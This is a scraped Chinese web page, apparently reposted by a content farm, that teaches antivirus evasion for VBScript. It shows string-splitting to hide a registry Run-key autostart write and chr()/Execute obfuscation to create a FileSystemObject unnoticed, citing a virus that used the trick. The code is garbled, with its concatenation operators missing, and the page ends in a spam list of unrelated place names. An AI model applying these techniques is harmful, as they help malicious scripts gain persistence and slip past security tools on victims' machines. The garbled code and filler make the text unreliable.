佳木斯湛栽影视文化发展公司

主頁 > 知識(shí)庫 > 殺毒的對(duì)vbs相當(dāng)敏感 免殺

殺毒的對(duì)vbs相當(dāng)敏感 免殺

熱門標(biāo)簽:呼叫中心市場(chǎng)需求 鐵路電話系統(tǒng) 服務(wù)器配置 檢查注冊(cè)表項(xiàng) 網(wǎng)站文章發(fā)布 智能手機(jī) 銀行業(yè)務(wù) 美圖手機(jī)
復(fù)制代碼 代碼如下:

現(xiàn)在殺毒的對(duì)vbs相當(dāng)敏感,只要發(fā)現(xiàn)對(duì)注冊(cè)表的xx作,或使用vbs運(yùn)行命令(加用戶) 就可能被殺。下面談2方法可以簡(jiǎn)單解決:

1.使用連接符"" 如:
Set CURObj = CreateObject("Wscript.Shell")
mhk="HK""LM\SOFT""WARE\Micr""osoft\Win""dows\Curren""tVersion\Run\"
CURObj.RegWrite ""mhk"internat.exe","internat.exe"

2.使用Execute函數(shù)(BY 動(dòng)鯊 )

一些殺毒軟件,如瑞星,他門會(huì)監(jiān)視網(wǎng)頁中的代碼,一旦你創(chuàng)建了FSO或?qū)懽?cè)表,即使是正常的腳本他也會(huì)報(bào)告危險(xiǎn),但是當(dāng)年新歡樂時(shí)光也用了FSO怎么就沒報(bào)警呢?原因是這個(gè)病毒使用Execute這個(gè)函數(shù)來躲過了防火墻,呵呵。病毒將這段聲明代碼轉(zhuǎn)化為字符串,然后通過Execute(String)函數(shù)執(zhí)行,舉個(gè)例子
str="set fso=CreateObject( " chr(34) "scrip" chr(116) "ing.FileSystemObject"chr(34)")"
msgbox str
Execute str
將如上的代碼放入test.vbs中就會(huì)被創(chuàng)建FSO,而瑞星就不會(huì)報(bào)警


標(biāo)簽:上海 長(zhǎng)治 樂山 新疆 紅河 河南 沈陽 滄州

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《殺毒的對(duì)vbs相當(dāng)敏感 免殺》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266
    武义县| 永昌县| 自治县| 中宁县| 渝北区| 成武县| 磐石市| 吉木乃县| 大方县| 右玉县| 砀山县| 武胜县| 微博| 六安市| 斗六市| 屯留县| 阳高县| 扎赉特旗| 瑞金市| 固始县| 马龙县| 开江县| 衡东县| 麻江县| 深圳市| 中江县| 乐都县| 綦江县| 莒南县| 绍兴市| 五家渠市| 新兴县| 哈尔滨市| 克拉玛依市| 尉犁县| 达州市| 噶尔县| 舟山市| 麦盖提县| 敦化市| 台江县|